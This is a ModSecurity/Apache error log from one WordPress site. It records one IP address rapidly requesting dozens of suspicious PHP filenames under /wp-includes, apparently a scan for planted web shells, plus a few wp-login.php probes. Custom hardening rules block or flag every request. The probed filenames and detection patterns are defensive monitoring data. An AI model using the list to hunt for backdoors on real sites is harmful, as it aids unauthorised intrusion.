[Wed Apr 08 04:41:28.763610 2026] [:error] [pid 16630:tid 16646] [client 188.95.54.39:48096] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adVr-CjfVAkPG-jgJEpg1AAAAQ4"]
[Wed Apr 08 04:41:30.857023 2026] [:error] [pid 16630:tid 16648] [client 188.95.54.39:48100] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adVr-ijfVAkPG-jgJEpg7wAAARA"]
[Wed Apr 08 04:41:31.648697 2026] [:error] [pid 47625:tid 47648] [client 188.95.54.39:48106] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adVr-yVuHyNWzZlE8PDouAAAAA4"]
[Wed Apr 08 04:41:32.715998 2026] [:error] [pid 47625:tid 47644] [client 188.95.54.39:48108] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adVr_CVuHyNWzZlE8PDovgAAAAo"]
[Wed Apr 08 04:41:33.569288 2026] [:error] [pid 47625:tid 47655] [client 188.95.54.39:43224] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adVr_SVuHyNWzZlE8PDowAAAABU"]
[Wed Apr 08 04:41:35.140817 2026] [:error] [pid 47625:tid 47637] [client 188.95.54.39:43238] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adVr_yVuHyNWzZlE8PDoxwAAAAM"]
[Wed Apr 08 04:41:35.947026 2026] [:error] [pid 47625:tid 47636] [client 188.95.54.39:43252] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adVr_yVuHyNWzZlE8PDoyQAAAAI"]
[Wed Apr 08 04:41:36.737455 2026] [:error] [pid 47732:tid 47746] [client 188.95.54.39:43264] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adVsAIm4N5QW9Mh7G10TwAAAAMw"]
[Wed Apr 08 04:41:37.249686 2026] [:error] [pid 47626:tid 47692] [client 188.95.54.39:43276] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adVsAajWI8TWtHx2sdbqGwAAAFg"]
[Wed Apr 08 04:41:37.790894 2026] [:error] [pid 47626:tid 47671] [client 188.95.54.39:43288] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adVsAajWI8TWtHx2sdbqHAAAAEM"]
[Wed Apr 08 04:41:39.135204 2026] [:error] [pid 47625:tid 47642] [client 188.95.54.39:43298] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adVsAyVuHyNWzZlE8PDo0gAAAAg"]
[Wed Apr 08 04:41:39.649594 2026] [:error] [pid 47626:tid 47681] [client 188.95.54.39:43308] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adVsA6jWI8TWtHx2sdbqIAAAAE0"]
[Wed Apr 08 04:41:40.285318 2026] [:error] [pid 47732:tid 47746] [client 188.95.54.39:43316] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adVsBIm4N5QW9Mh7G10TzgAAAMw"]
[Wed Apr 08 04:41:42.916169 2026] [:error] [pid 47732:tid 47734] [client 188.95.54.39:43320] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adVsBom4N5QW9Mh7G10T4wAAAMA"]
[Wed Apr 08 04:41:44.288008 2026] [:error] [pid 47627:tid 47706] [client 188.95.54.39:46004] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adVsCHOljf1Quv_kDjl43QAAAIc"]
[Wed Apr 08 04:41:47.535794 2026] [:error] [pid 47627:tid 47716] [client 188.95.54.39:46004] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adVsC3Oljf1Quv_kDjl48QAAAJE"]
[Wed Apr 08 04:41:48.652005 2026] [:error] [pid 47732:tid 47742] [client 188.95.54.39:46020] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adVsDIm4N5QW9Mh7G10UAQAAAMg"]
[Wed Apr 08 04:41:49.172340 2026] [:error] [pid 47732:tid 47745] [client 188.95.54.39:46020] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "adVsDYm4N5QW9Mh7G10UBQAAAMs"]
[Wed Apr 08 04:41:51.858709 2026] [:error] [pid 47625:tid 47641] [client 188.95.54.39:46024] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adVsDyVuHyNWzZlE8PDo6AAAAAc"]
[Wed Apr 08 04:41:54.553851 2026] [:error] [pid 47625:tid 47639] [client 188.95.54.39:46040] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adVsEiVuHyNWzZlE8PDo9gAAAAU"]
[Wed Apr 08 04:41:55.614712 2026] [:error] [pid 16630:tid 16641] [client 188.95.54.39:41166] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adVsEyjfVAkPG-jgJEphWQAAAQk"]
[Wed Apr 08 04:41:56.932734 2026] [:error] [pid 16630:tid 16642] [client 188.95.54.39:41174] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adVsFCjfVAkPG-jgJEphZgAAAQo"]
[Wed Apr 08 04:41:57.194498 2026] [:error] [pid 16630:tid 16650] [client 188.95.54.39:41174] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adVsFSjfVAkPG-jgJEphbAAAARI"]
[Wed Apr 08 04:42:02.415478 2026] [:error] [pid 47625:tid 47647] [client 188.95.54.39:41188] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adVsGiVuHyNWzZlE8PDpEQAAAA0"]
[Wed Apr 08 04:42:03.715430 2026] [:error] [pid 47732:tid 47758] [client 188.95.54.39:56360] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adVsG4m4N5QW9Mh7G10UMgAAANg"]
[Wed Apr 08 04:42:04.925150 2026] [:error] [pid 47732:tid 47735] [client 188.95.54.39:56360] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "adVsHIm4N5QW9Mh7G10UNwAAAME"]
[Wed Apr 08 04:42:05.706404 2026] [:error] [pid 47732:tid 47752] [client 188.95.54.39:56374] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "adVsHYm4N5QW9Mh7G10UOgAAANI"]
[Wed Apr 08 04:42:06.748582 2026] [:error] [pid 47732:tid 47746] [client 188.95.54.39:56386] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "adVsHom4N5QW9Mh7G10URAAAAMw"]
[Wed Apr 08 04:42:08.151451 2026] [:error] [pid 16630:tid 16646] [client 188.95.54.39:56394] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "adVsICjfVAkPG-jgJEphlgAAAQ4"]
[Wed Apr 08 04:42:08.674999 2026] [:error] [pid 16630:tid 16640] [client 188.95.54.39:56396] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "adVsICjfVAkPG-jgJEphmQAAAQg"]
[Wed Apr 08 04:42:10.732162 2026] [:error] [pid 16630:tid 16632] [client 188.95.54.39:56400] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adVsIijfVAkPG-jgJEphsAAAAQA"]
[Wed Apr 08 04:42:11.512429 2026] [:error] [pid 47732:tid 47741] [client 188.95.54.39:56406] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "adVsI4m4N5QW9Mh7G10UTwAAAMc"]
[Wed Apr 08 04:42:12.820882 2026] [:error] [pid 47627:tid 47706] [client 188.95.54.39:56408] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "adVsJHOljf1Quv_kDjl5JQAAAIc"]
[Wed Apr 08 04:42:14.130919 2026] [:error] [pid 16630:tid 16641] [client 188.95.54.39:38640] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adVsJijfVAkPG-jgJEphwQAAAQk"]
[Wed Apr 08 04:42:15.205121 2026] [:error] [pid 16630:tid 16646] [client 188.95.54.39:38650] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "adVsJyjfVAkPG-jgJEphygAAAQ4"]
[Wed Apr 08 04:42:16.512327 2026] [:error] [pid 47625:tid 47643] [client 188.95.54.39:38658] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adVsKCVuHyNWzZlE8PDpLQAAAAk"]
[Wed Apr 08 04:42:18.913170 2026] [:error] [pid 47626:tid 47685] [client 188.95.54.39:38666] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adVsKqjWI8TWtHx2sdbqcgAAAFE"]
[Wed Apr 08 04:42:19.430107 2026] [:error] [pid 16630:tid 16641] [client 188.95.54.39:38682] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "adVsKyjfVAkPG-jgJEph4AAAAQk"]
[Wed Apr 08 04:42:19.940977 2026] [:error] [pid 16630:tid 16651] [client 188.95.54.39:38690] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adVsKyjfVAkPG-jgJEph5gAAARM"]
[Wed Apr 08 04:42:20.457728 2026] [:error] [pid 47732:tid 47753] [client 188.95.54.39:38696] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adVsLIm4N5QW9Mh7G10UdAAAANM"]
[Wed Apr 08 04:42:21.227876 2026] [:error] [pid 47732:tid 47745] [client 188.95.54.39:38702] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adVsLYm4N5QW9Mh7G10UeAAAAMs"]
[Wed Apr 08 04:42:21.745358 2026] [:error] [pid 16630:tid 16650] [client 188.95.54.39:38706] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "adVsLSjfVAkPG-jgJEph7gAAARI"]
[Wed Apr 08 04:42:22.782907 2026] [:error] [pid 16630:tid 16655] [client 188.95.54.39:38710] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adVsLijfVAkPG-jgJEph-wAAARc"]
[Wed Apr 08 04:42:23.291788 2026] [:error] [pid 16630:tid 16647] [client 188.95.54.39:44678] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "adVsLyjfVAkPG-jgJEpiAQAAAQ8"]
[Wed Apr 08 04:42:23.802710 2026] [:error] [pid 47732:tid 47735] [client 188.95.54.39:44680] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adVsL4m4N5QW9Mh7G10UfgAAAME"]
[Wed Apr 08 04:42:24.323040 2026] [:error] [pid 47626:tid 47670] [client 188.95.54.39:44688] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "adVsMKjWI8TWtHx2sdbqfQAAAEI"]
[Wed Apr 08 04:42:25.101741 2026] [:error] [pid 47626:tid 47677] [client 188.95.54.39:44694] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adVsMajWI8TWtHx2sdbqggAAAEk"]
[Wed Apr 08 04:42:26.137984 2026] [:error] [pid 47732:tid 47734] [client 188.95.54.39:44700] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "adVsMom4N5QW9Mh7G10UigAAAMA"]
[Wed Apr 08 04:42:27.743175 2026] [:error] [pid 47732:tid 47754] [client 188.95.54.39:44704] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adVsM4m4N5QW9Mh7G10UlAAAANQ"]
[Wed Apr 08 04:42:30.068030 2026] [:error] [pid 47732:tid 47743] [client 188.95.54.39:44712] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "adVsNom4N5QW9Mh7G10UpQAAAMk"]
[Wed Apr 08 04:42:31.372908 2026] [:error] [pid 16630:tid 16639] [client 188.95.54.39:44716] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adVsNyjfVAkPG-jgJEpiJwAAAQc"]
[Wed Apr 08 04:42:31.897369 2026] [:error] [pid 47627:tid 47715] [client 188.95.54.39:44722] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adVsN3Oljf1Quv_kDjl5UwAAAJA"]
